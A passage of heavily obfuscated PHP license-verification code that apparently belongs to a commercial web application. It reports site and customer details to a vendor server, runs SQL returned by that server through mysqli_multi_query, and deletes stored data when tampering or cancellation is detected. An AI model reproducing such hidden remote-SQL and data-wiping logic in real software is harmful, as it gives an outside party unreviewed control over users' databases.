    $notifications_array["\x6e\157\x74\x69\146\x69\143\x61\164\151\157\156\x5f\x74\x65\170\x74"] = APL_NOTIFICATION_NO_CONNECTION;
    goto VG71n;
    lBmCZ:
    if (!($content_array["body"] != "\x3c\x63\x6f\x6e\x6e\145\143\x74\x69\x6f\156\x5f\x74\145\163\164\76\x4f\113\74\57\x63\x6f\x6e\156\x65\143\x74\151\157\156\x5f\x74\x65\163\164\76")) {
        goto ZokYo;
    }
    $notifications_array["\x6e\157\x74\151\x66\x69\143\x61\x74\x69\x6f\156\x5f\143\141\x73\145"] = "\156\157\x74\x69\146\x69\x63\141\164\151\x6f\156\137\x69\x6e\166\x61\x6c\151\144\x5f\162\145\x73\160\157\x6e\163\x65";
    $notifications_array["\x6e\157\164\x69\x66\151\x63\x61\164\151\157\156\x5f\164\145\170\164"] = APL_NOTIFICATION_INVALID_RESPONSE;
    ZokYo: VG71n:
    return $notifications_array;
}

function aplCheckData($MYSQLI_LINK = null)
{
    $error_detected = 0;
    $cracking_detected = 0;
    $data_check_result = false;
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
        goto BqVbD;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
    if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
        goto WYYjv;
    }
    $error_detected = 1;
    WYYjv:
    if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\x2f", 1, 1, 0, 1)) === false)) {
        goto zLVSN;
    }
    $error_detected = 1;
    zLVSN:
    if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\x68\x61\62\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
        goto nn7_O;
    }
    $error_detected = 1;
    nn7_O:
    if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
        goto VfHFX;
    }
    $error_detected = 1;
    VfHFX:
    if (aplVerifyDateTime($LCD, "\x59\55\x6d\x2d\144")) {
        goto ue0D2;
    }
    $error_detected = 1;
    ue0D2:
    if (aplVerifyDateTime($LRD, "\x59\55\x6d\55\144")) {
        goto Xb4tk;
    }
    $error_detected = 1;
    Xb4tk:
    if (!(aplVerifyDateTime($LCD, "\131\55\x6d\x2d\144") && $LCD > date("\131\55\x6d\x2d\x64", strtotime("\x2b\x31\x20\144\141\x79")))) {
        goto mnbj_;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    mnbj_:
    if (!(aplVerifyDateTime($LRD, "\131\x2d\155\x2d\144") && $LRD > date("\x59\x2d\x6d\55\144", strtotime("\x2b\x31\40\x64\x61\171")))) {
        goto q46OO;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    q46OO:
    if (!(aplVerifyDateTime($LCD, "\131\x2d\155\x2d\144") && aplVerifyDateTime($LRD, "\131\55\x6d\x2d\x64") && $LCD > $LRD)) {
        goto okptn;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    okptn:
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\x59\x45\123")) {
        goto c49XR;
    }
    aplDeleteData($MYSQLI_LINK);
    c49XR:
    if (!($error_detected != 1 && $cracking_detected != 1)) {
        goto TAxno;
    }
    $data_check_result = true;
    TAxno: BqVbD:
    return $data_check_result;
}

function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
    $notifications_array = array();
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));
    if (!empty($content_array)) {
        goto ge08C;
    }
    $notifications_array["notification_case"] = "notification_no_connection";
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
    goto Ftkbv;
    ge08C:
    if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) {
        goto YcklK;
    }
    $notifications_array["notification_case"] = "notification_case";
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
    YcklK: Ftkbv:
    return $notifications_array;
}

function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto qDSG3;
    }
    $notifications_array["\156\157\x74\x69\x66\x69\x63\x61\x74\151\157\156\x5f\x63\141\x73\x65"] = "\x6e\x6f\x74\151\x66\151\143\141\164\151\x6f\156\x5f\163\x63\x72\151\160\164\137\x63\157\x72\x72\165\x70\164\x65\144";
    $notifications_array["\156\157\x74\x69\x66\x69\143\x61\x74\151\x6f\x6e\137\164\x65\170\x74"] = implode("\x3b\40", $apl_core_notifications);
    goto fEKb9;
    qDSG3:
    if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
        goto qeN3i;
    }
    $INSTALLATION_HASH = hash("\163\150\x61\x32\65\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
    $post_info = "\160\162\157\x64\x75\143\164\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\x65\x6e\x74\x5f\145\x6d\141\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\x65\x6e\x73\145\137\143\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\157\164\137\x75\162\154\75" . rawurlencode($ROOT_URL) . "\x26\x69\156\x73\164\x61\154\154\141\x74\x69\x6f\x6e\x5f\150\141\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\x63\145\156\163\x65\x5f\163\151\147\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\x6c\x5f\x63\141\x6c\154\x62\x61\x63\153\163\57\154\x69\x63\145\x6e\163\x65\x5f\x69\x6e\x73\164\141\154\154\56\x70\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\x6e\x6f\164\x69\x66\151\x63\x61\164\151\157\x6e\x5f\x63\x61\163\x65"] == "\x6e\x6f\164\x69\x66\x69\143\141\164\x69\x6f\x6e\137\x6c\x69\143\x65\x6e\163\x65\137\157\153")) {
        goto Nmh10;
    }
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\131\x2d\x6d\x2d\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt(date("\x59\x2d\x6d\x2d\x64", strtotime("\55" . APL_DAYS . "\x20\144\x61\x79\x73")), APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\131\x2d\x6d\55\x64"), APL_SALT . $INSTALLATION_KEY);
    if (!(APL_STORAGE == "\x44\x41\x54\x41\x42\x41\123\x45")) {
        goto GzyqH;
    }
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\154\x5f\x63\x61\154\x6c\142\141\x63\x6b\x73\x2f\154\x69\143\x65\x6e\163\145\137\x73\143\150\x65\155\145\x2e\x70\x68\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!(!empty($notifications_array["\156\157\164\151\x66\151\143\141\x74\x69\157\156\x5f\x64\141\x74\x61"]) && !empty($notifications_array["\x6e\157\164\151\146\151\x63\x61\164\x69\157\156\137\x64\141\164\x61"]["\x73\143\150\145\x6d\145\x5f\161\x75\145\x72\171"]))) {
        goto QEnLg;
    }
    $mysql_bad_array = array("\45\x41\x50\x4c\x5f\x44\101\124\x41\102\x41\x53\x45\137\124\101\x42\114\x45\x25", "\x25\122\117\x4f\124\x5f\125\122\x4c\45", "\45\103\x4c\111\105\x4e\124\x5f\105\115\101\111\x4c\45", "\x25\x4c\x49\x43\105\x4e\x53\105\x5f\103\x4f\104\105\x25", "\45\x4c\103\104\x25", "\x25\x4c\122\x44\x25", "\x25\111\116\123\124\x41\114\114\101\124\111\117\116\x5f\x4b\105\x59\x25", "\45\111\116\123\124\x41\x4c\x4c\x41\x54\x49\x4f\116\x5f\110\x41\123\110\45");
    $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
    $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\156\157\x74\151\x66\151\x63\141\x74\151\x6f\x6e\137\144\141\x74\141"]["\x73\x63\x68\x65\155\x65\137\161\165\x65\x72\x79"]);
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
    QEnLg: GzyqH:
    if (!(APL_STORAGE == "\106\x49\x4c\x45")) {
        goto Y_2Kp;
    }
    $handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\x77\x2b");
    $fwrite = @fwrite($handle, "\x3c\122\x4f\117\x54\137\x55\122\114\x3e{$ROOT_URL}\74\57\x52\117\x4f\x54\137\x55\x52\x4c\76\74\103\x4c\x49\x45\x4e\x54\137\x45\115\101\x49\x4c\76{$CLIENT_EMAIL}\74\x2f\103\x4c\x49\105\116\124\137\105\x4d\101\x49\x4c\x3e\74\114\x49\103\x45\x4e\123\105\x5f\x43\117\104\105\x3e{$LICENSE_CODE}\x3c\57\x4c\x49\x43\x45\x4e\x53\105\137\x43\117\104\x45\x3e\74\114\x43\x44\76{$LCD}\x3c\57\114\103\x44\76\74\114\122\104\76{$LRD}\x3c\57\x4c\122\104\76\x3c\111\x4e\x53\x54\x41\x4c\x4c\101\x54\x49\x4f\x4e\137\113\105\x59\76{$INSTALLATION_KEY}\74\x2f\111\116\x53\x54\x41\114\x4c\101\x54\x49\117\x4e\x5f\113\x45\x59\76\74\x49\116\x53\x54\101\x4c\x4c\x41\124\x49\117\116\x5f\x48\x41\123\x48\76{$INSTALLATION_HASH}\x3c\57\111\x4e\x53\124\x41\x4c\x4c\101\124\111\x4f\116\137\x48\x41\123\x48\x3e");
    if (!($fwrite === false)) {
        goto MSH6g;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit;
    MSH6g:
    @fclose($handle);
    Y_2Kp: Nmh10:
    goto NdSKn;
    qeN3i:
    $notifications_array["\x6e\157\x74\151\146\151\143\x61\164\151\x6f\156\137\143\x61\x73\x65"] = "\x6e\157\164\x69\x66\151\143\141\164\151\x6f\x6e\x5f\x61\154\162\145\141\x64\x79\x5f\x69\156\x73\164\x61\x6c\154\x65\144";
    $notifications_array["\156\157\164\151\146\x69\x63\x61\x74\x69\157\156\137\164\145\170\164"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
    NdSKn: fEKb9:
    return $notifications_array;
}

function preparePackageInstallation($installable)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (!empty($apl_core_notifications)) {
        goto Ozs_9;
    }
    $MYSQLI_LINK = getMysqliConnection();
    $core_license = aplGetLicenseData($MYSQLI_LINK);
    if (!(empty($core_license) || !is_array($core_license))) {
        goto dWagw;
    }
    throw new \Exception("\103\157\162\x65\x20\x73\x63\162\x69\160\x74\40\154\151\143\145\x6e\163\x65\x20" . "\x76\141\x6c\151\144\141\164\x69\x6f\156" . "\40\x66\x61\151\154\145\144\x21\x20\x50\x6c\x65\x61\x73\x65\x20\x63\x6f\x6e\164\141\143\x74" . "\x20\163\165\x70\x70\157\162\x74\40\x66\x6f\x72\40\x68\x65\x6c\160\x2e");
    dWagw:
    $CLIENT_EMAIL = $core_license["\103\x4c\111\x45\x4e\124\137\105\115\x41\111\x4c"];
    $LICENSE_CODE = $installable["\154\151\143\145\156\163\145\137\x6b\x65\171"];
    $ROOT_URL = config("\x61\x70\x70\x2e\x75\162\154");
    $INSTALLATION_HASH = hash("\163\x68\141\62\65\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
    $post_info = "\x70\x72\157\x64\x75\143\x74\x5f\x69\144\75" . rawurlencode($installable["\151\x64"]) . "\x26\x63\154\x69\x65\x6e\x74\x5f\145\x6d\x61\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\x63\145\x6e\163\x65\x5f\x63\x6f\144\145\x3d" . rawurlencode($LICENSE_CODE) . "\x26\162\x6f\157\164\x5f\x75\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\151\156\x73\x74\141\x6c\154\x61\164\151\x6f\156\x5f\x68\141\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\x26\154\x69\x63\145\156\163\145\137\x73\151\147\x6e\x61\164\165\162\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\x64"]));
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\154\137\143\x61\x6c\x6c\142\x61\x63\153\x73\x2f\x6c\x69\143\145\x6e\163\x65\137\x69\x6e\163\164\141\x6c\x6c\56\160\150\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\x69\x64"]);
    if ($notifications_array["\156\x6f\x74\151\x66\x69\x63\141\x74\151\157\x6e\137\143\x61\163\145"] == "\x6e\157\164\151\146\x69\x63\141\x74\x69\157\156\137\x6c\x69\143\x65\x6e\163\145\x5f\157\153") {
        goto jFUQz;
    }
    if (empty($notifications_array["\156\x6f\164\151\146\151\143\141\x74\x69\x6f\156\137\x74\x65\170\x74"])) {
        goto lmCfb;
    }
    throw new \Exception("\x4c\x69\143\x65\x6e\163\x65\x20" . "\x76\141\154\x69\x64\141\x74\151\x6f\156" . "\40\x66\x61\151\x6c\145\144\41\40" . $notifications_array["\x6e\x6f\164\x69\146\151\143\141\x74\x69\157\156\137\x74\x65\x78\x74"]);
    lmCfb:
    goto ICJE3;
    jFUQz:
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\155\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt(date("\131\x2d\155\55\144", strtotime("\55" . APL_DAYS . "\40\x64\x61\x79\163")), APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\131\55\155\55\144"), APL_SALT . $INSTALLATION_KEY);
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\x6c\137\x63\x61\154\x6c\142\x61\x63\x6b\163\57\x6c\151\143\145\x6e\x73\145\137\163\x63\150\145\x6d\x65\56\x70\x68\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\x64"]);
    if (!(!empty($notifications_array["\156\x6f\x74\x69\x66\x69\143\x61\164\x69\157\x6e\x5f\144\x61\164\x61"]) && !empty($notifications_array["\156\x6f\164\x69\146\x69\x63\141\164\151\157\x6e\x5f\144\x61\x74\141"]["\x73\x63\x68\x65\x6d\x65\x5f\x71\x75\x65\162\x79"]))) {
        goto Aiu6u;
    }
    return ["\151\156\163\164\x61\x6c\x6c\141\164\151\x6f\156\x5f\153\145\x79" => $INSTALLATION_KEY, "\151\x6e\163\x74\x61\x6c\x6c\141\x74\151\x6f\156\137\150\141\163\150" => $INSTALLATION_HASH, "\x6c\143\x64" => $LCD, "\154\162\x64" => $LRD];
    Aiu6u: ICJE3: Ozs_9:
    throw new \Exception("\114\151\143\145\156\x73\145\40" . "\x76\141\x6c\151\144\x61\x74\x69\x6f\156" . "\40\146\141\151\154\145\144\x21\40\x50\x6c\145\x61\x73\x65\x20\143\x6f\156\164\141\x63\x74" . "\40\163\x75\x70\x70\x6f\x72\x74\40\146\157\x72\x20\150\x65\154\x70\x2e");
}

function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
    $notifications_array = array();
    $update_lrd_value = 0;
    $update_lcd_value = 0;
    $updated_records = 0;
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto INq3q;
    }
    $notifications_array["\156\157\164\x69\146\151\x63\141\x74\151\157\x6e\137\143\x61\163\x65"] = "\156\x6f\164\151\146\151\x63\141\164\151\157\156\x5f\163\x63\162\x69\x70\164\x5f\143\157\x72\162\165\x70\164\x65\x64";
    $notifications_array["\x6e\x6f\x74\151\x66\x69\143\x61\164\151\x6f\x6e\137\164\145\x78\164"] = implode("\73\40", $apl_core_notifications);
    goto YcT2t;
    INq3q:
    if (aplCheckData($MYSQLI_LINK)) {
        goto hLjSU;
    }
    $notifications_array["\x6e\157\x74\x69\146\151\143\141\x74\x69\x6f\x6e\x5f\143\141\x73\145"] = "\156\x6f\x74\151\146\x69\143\141\x74\151\x6f\156\x5f\154\151\143\145\156\x73\x65\137\143\157\x72\x72\165\x70\x74\x65\x64";
    $notifications_array["\x6e\157\x74\151\146\151\x63\141\164\x69\157\x6e\137\x74\145\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto JjPAp;
    hLjSU:
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\131\55\x6d\x2d\x64")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\131\55\x6d\x2d\144") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\131\55\155\55\144") && $FORCE_VERIFICATION === 0) {
        goto R0zX4;
    }
    $post_info = "\x70\x72\x6f\x64\x75\x63\164\137\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\151\145\x6e\164\137\x65\155\141\x69\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\151\143\x65\x6e\163\145\137\x63\x6f\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\x74\x5f\x75\162\x6c\75" . rawurlencode($ROOT_URL) . "\x26\151\x6e\163\x74\x61\154\154\x61\164\151\x6f\x6e\x5f\150\x61\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\151\x63\145\156\x73\145\137\163\x69\x67\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\154\137\143\141\x6c\154\x62\x61\143\x6b\x73\57\x6c\151\143\x65\156\x73\145\x5f\166\145\162\x69\146\x79\56\160\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\x6e\157\164\x69\146\151\143\141\x74\x69\x6f\x6e\137\143\141\163\145"] == "\x6e\x6f\164\x69\146\151\x63\141\x74\x69\157\x6e\x5f\154\x69\143\x65\x6e\x73\x65\137\157\x6b")) {
        goto tysj3;
    }
    $update_lcd_value = 1;
    tysj3:
    if (!($notifications_array["\x6e\x6f\x74\151\146\x69\143\141\164\x69\x6f\156\137\x63\x61\x73\x65"] == "\156\157\164\151\146\x69\x63\141\164\151\157\156\x5f\x6c\151\x63\x65\156\163\145\x5f\143\141\x6e\x63\x65\154\x6c\145\144" && APL_DELETE_CANCELLED == "\x59\x45\123")) {
        goto ogKgq;
    }
    aplDeleteData($MYSQLI_LINK);
    ogKgq:
    goto E1Iki;
    R0zX4:
    $notifications_array["\156\157\164\151\146\x69\143\x61\x74\151\157\x6e\137\x63\141\163\x65"] = "\x6e\157\164\151\x66\x69\x63\141\x74\151\157\x6e\137\154\x69\143\x65\156\x73\x65\137\x6f\153";
    $notifications_array["\x6e\x6f\x74\151\146\x69\143\x61\x74\x69\157\156\137\x74\145\x78\164"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
    E1Iki:
    if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\131\x2d\155\x2d\x64"))) {
        goto Tzq3D;
    }
    $update_lrd_value = 1;
    Tzq3D:
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
        goto KYrcO;
    }
    if ($update_lcd_value == 1) {
        goto e5iNN;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    goto B0vy1;
    e5iNN:
    $LCD = date("\x59\x2d\x6d\55\144");
    B0vy1:
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\55\155\x2d\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\131\55\155\x2d\x64"), APL_SALT . $INSTALLATION_KEY);
    if (!(APL_STORAGE == "\104\x41\x54\x41\x42\101\123\105")) {
        goto QpPm1;
    }
    $stmt = mysqli_prepare($MYSQLI_LINK, "\x55\120\104\x41\x54\x45\x20" . APL_DATABASE_TABLE . "\40\123\105\x54\x20\114\x43\x44\75\x3f\54\x20\114\x52\104\75\77\54\x20\111\116\123\124\101\114\x4c\x41\124\111\117\116\x5f\113\x45\131\x3d\x3f");
    if (!$stmt) {
        goto lJr0r;
    }
    mysqli_stmt_bind_param($stmt, "\163\x73\x73", $LCD, $LRD, $INSTALLATION_KEY);
    $exec = mysqli_stmt_execute($stmt);
    $affected_rows = mysqli_stmt_affected_rows($stmt);
    if (!($affected_rows > 0)) {
        goto mFCIe;
    }
    $updated_records = $updated_records + $affected_rows;
    mFCIe:
    mysqli_stmt_close($stmt);
    lJr0r:
    if (!($updated_records < 1)) {
        goto GyCue;
    }
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
    exit;
    GyCue: QpPm1:
    if (!(APL_STORAGE == "\106\x49\x4c\x45")) {
        goto V96Rx;
    }
    $handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\167\53");
    $fwrite = @fwrite($handle, "\74\x52\117\117\x54\x5f\125\x52\x4c\x3e{$ROOT_URL}\x3c\x2f\x52\x4f\x4f\124\137\x55\x52\114\76\x3c\x43\x4c\111\x45\x4e\x54\137\x45\x4d\101\x49\x4c\76{$CLIENT_EMAIL}\x3c\57\103\x4c\111\x45\x4e\124\137\x45\115\x41\x49\114\76\74\x4c\x49\x43\x45\116\x53\105\137\103\117\x44\105\x3e{$LICENSE_CODE}\74\57\114\x49\103\105\116\123\105\137\103\117\x44\105\76\74\114\x43\x44\x3e{$LCD}\74\x2f\114\103\x44\x3e\74\x4c\122\x44\76{$LRD}\74\57\114\122\104\x3e\74\x49\116\x53\124\101\114\x4c\101\124\111\x4f\116\x5f\x4b\x45\131\76{$INSTALLATION_KEY}\x3c\57\x49\116\x53\x54\x41\x4c\x4c\101\124\x49\117\116\137\113\105\x59\x3e\74\x49\116\123\x54\101\114\x4c\101\124\x49\x4f\x4e\137\x48\101\123\x48\76{$INSTALLATION_HASH}\x3c\x2f\111\x4e\123\x54\101\x4c\114\x41\x54\x49\117\116\x5f\x48\x41\x53\x48\x3e");
    if (!($fwrite === false)) {
        goto rqPMj;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit;
    rqPMj:
    @fclose($handle);
    V96Rx: KYrcO: JjPAp: YcT2t:
    if (!($notifications_array["\156\157\x74\x69\x66\151\143\141\164\x69\157\x6e\x5f\x63\x61\163\x65"] != "\156\157\x74\x69\146\x69\x63\x61\x74\151\157\x6e\137\154\x69\143\x65\156\163\145\x5f\x6f\x6b")) {
        goto Hv2E8;
    }
    echo "\x3c\142\x72\57\x3e\74\142\162\57\76";
    echo "\114\151\143\145\x6e\x73\x65\x20\x69\x73\40\156\157\164" . "\x20\151\x6e\x73\x74\x61\x6c\x6c\x65\x64\x20\x79\x65\x74" . "\x20\157\x72\40\143\157\x72\162\x75\x70\164\x65\x64\56\40\x50\x6c\x65\x61\x73\x65" . "\40\x63\157\156\164\x61\x63\164" . "\x20\x73\165\160\x70\157\162\164\40" . "\164\145\x61\x6d\40";
    echo "\40\x3c\x61\40\x68\x72\145\146\x3d\42" . route("\x61\x64\155\151\156\56\x73\x65\x74\164\151\x6e\147\56\x6c\151\x63\145\156\163\x65\x2e\x75\160\x64\x61\164\x65") . "\42\76" . trans("\x61\160\160\x2e\x75\x70\x64\x61\164\x65\x5f\x61\x70\x70\x5f\x6c\151\x63\145\x6e\x73\x65") . "\x3c\x2f\141\x3e";
    exit;
    Hv2E8:
    return $notifications_array;
}

function aplVerifySupport($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto lVsnz;
    }
    $notifications_array["\156\x6f\x74\151\146\151\x63\141\164\x69\x6f\156\137\143\141\x73\x65"] = "\x6e\x6f\164\x69\146\151\143\141\164\x69\x6f\x6e\137\163\x63\x72\x69\160\x74\137\x63\x6f\x72\162\165\x70\x74\145\x64";
    $notifications_array["\x6e\x6f\x74\151\x66\x69\x63\141\164\151\157\156\137\164\x65\x78\x74"] = implode("\73\x20", $apl_core_notifications);
    goto rR9mt;
    lVsnz:
    if (aplCheckData($MYSQLI_LINK)) {
        goto LHo_1;
    }
    $notifications_array["\x6e\157\x74\151\x66\151\143\141\164\x69\157\x6e\137\x63\x61\163\x65"] = "\156\157\x74\x69\x66\151\x63\141\164\151\157\156\137\x6c\x69\x63\145\x6e\163\145\137\143\157\x72\162\165\x70\x74\x65\144";
    $notifications_array["\x6e\157\164\x69\x66\151\x63\141\x74\x69\x6f\156\137\164\x65\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto FChvP;
    LHo_1:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\162\x6f\144\165\x63\164\x5f\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\151\x65\x6e\x74\137\145\x6d\x61\151\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\145\x6e\163\x65\137\x63\157\x64\145\75" . rawurlencode($LICENSE_CODE) . "\x26\162\x6f\x6f\164\137\165\x72\154\75" . rawurlencode($ROOT_URL) . "\46\x69\x6e\x73\164\141\154\x6c\x61\164\151\157\x6e\137\150\141\x73\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\145\156\x73\145\137\x73\151\x67\x6e\x61\164\x75\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\160\x6c\137\143\x61\154\154\x62\x61\x63\153\x73\x2f\154\x69\x63\145\x6e\x73\145\x5f\x73\165\160\x70\x6f\162\x74\x2e\160\x68\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    FChvP: rR9mt:
    return $notifications_array;
}

function aplVerifyUpdates($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto V7H92;
    }
    $notifications_array["\156\157\x74\x69\x66\151\x63\141\164\x69\157\x6e\137\x63\x61\163\x65"] = "\156\157\x74\x69\146\151\143\141\164\x69\x6f\156\137\163\143\162\x69\x70\164\x5f\x63\157\162\x72\x75\x70\x74\x65\x64";
    $notifications_array["\x6e\157\x74\x69\x66\x69\x63\x61\164\x69\157\156\137\x74\x65\x78\x74"] = implode("\73\x20", $apl_core_notifications);
    goto EwUSu;
    V7H92:
    if (aplCheckData($MYSQLI_LINK)) {
        goto GVshV;
    }
    $notifications_array["\x6e\x6f\164\151\146\x69\x63\141\x74\x69\157\x6e\x5f\x63\141\163\145"] = "\156\157\164\151\146\151\143\141\164\151\x6f\x6e\137\x6c\151\x63\145\156\163\145\137\143\157\x72\x72\165\160\x74\145\144";
    $notifications_array["\x6e\157\x74\151\146\x69\x63\x61\164\151\x6f\156\137\x74\145\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto nGmSd;
    GVshV:
    extract(aplGetLicenseData($MYSQLI_LINK));
